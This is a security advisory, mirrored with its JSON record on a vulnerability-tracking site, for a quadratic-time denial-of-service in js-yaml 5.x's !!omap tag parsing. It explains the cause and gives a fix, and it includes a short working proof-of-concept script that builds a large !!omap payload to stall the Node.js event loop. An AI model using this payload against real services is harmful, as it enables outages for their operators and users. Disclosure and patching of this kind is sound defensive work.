GHSA-724G-MXRG-4QVM

Vulnerability from github – Published: 2026-07-20 21:18 – Updated: 2026-07-20 21:18
VLAI
Summary
js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
Details

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => [],
    addItem: (container, item) => {
        // ...
        for (const existing of container)   // O(n) per insertion!
            if (hasOwnProperty(existing, itemKeys[0]))
                return 'cannot resolve an ordered map item';
        container.push(object);             // n insertions → O(n^2) total
        return '';
    }
});

For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
  let p = '!!omap\n';
  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
  return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => ({ list: [], seen: new Set() }),
    addItem: (state, item) => {
        const key = Object.keys(item)[0];
        if (state.seen.has(key)) return 'duplicate omap key';
        state.seen.add(key);
        state.list.push(item);
        return '';
    },
    resolve: (state) => state.list
});
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:18:51Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n    create: () =\u003e [],\n    addItem: (container, item) =\u003e {\n        // ...\n        for (const existing of container)   // O(n) per insertion!\n            if (hasOwnProperty(existing, itemKeys[0]))\n                return \u0027cannot resolve an ordered map item\u0027;\n        container.push(object);             // n insertions \u2192 O(n^2) total\n        return \u0027\u0027;\n    }\n});\n```\nFor a document with `n` unique entries, insertion i scans i\u22121 existing entries, yielding 1+2+\u2026+n = **O(n\u00b2)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require(\u0027js-yaml\u0027);\nfunction buildOmapPayload(n) {\n  let p = \u0027!!omap\\n\u0027;\n  for (let i = 0; i \u003c n; i++) p += \u0027- key\u0027 + i + \u0027: val\u0027 + i + \u0027\\n\u0027;\n  return p;\n}\n// Timing results on v5.2.0:\n// n=1000:  9ms\n// n=5000:  73ms  (5x n \u2192 8x time)\n// n=10000: 255ms (2x n \u2192 3.5x time \u2014 supralinear)\n// n=20000: 997ms (2x n \u2192 3.9x time \u2014 O(n\u00b2) confirmed)\n// n=50000: 10613ms          \u2190 blocks event loop for \u003e10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n    create: () =\u003e ({ list: [], seen: new Set() }),\n    addItem: (state, item) =\u003e {\n        const key = Object.keys(item)[0];\n        if (state.seen.has(key)) return \u0027duplicate omap key\u0027;\n        state.seen.add(key);\n        state.list.push(item);\n        return \u0027\u0027;\n    },\n    resolve: (state) =\u003e state.list\n});\n```",
  "id": "GHSA-724g-mxrg-4qvm",
  "modified": "2026-07-20T21:18:51Z",
  "published": "2026-07-20T21:18:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.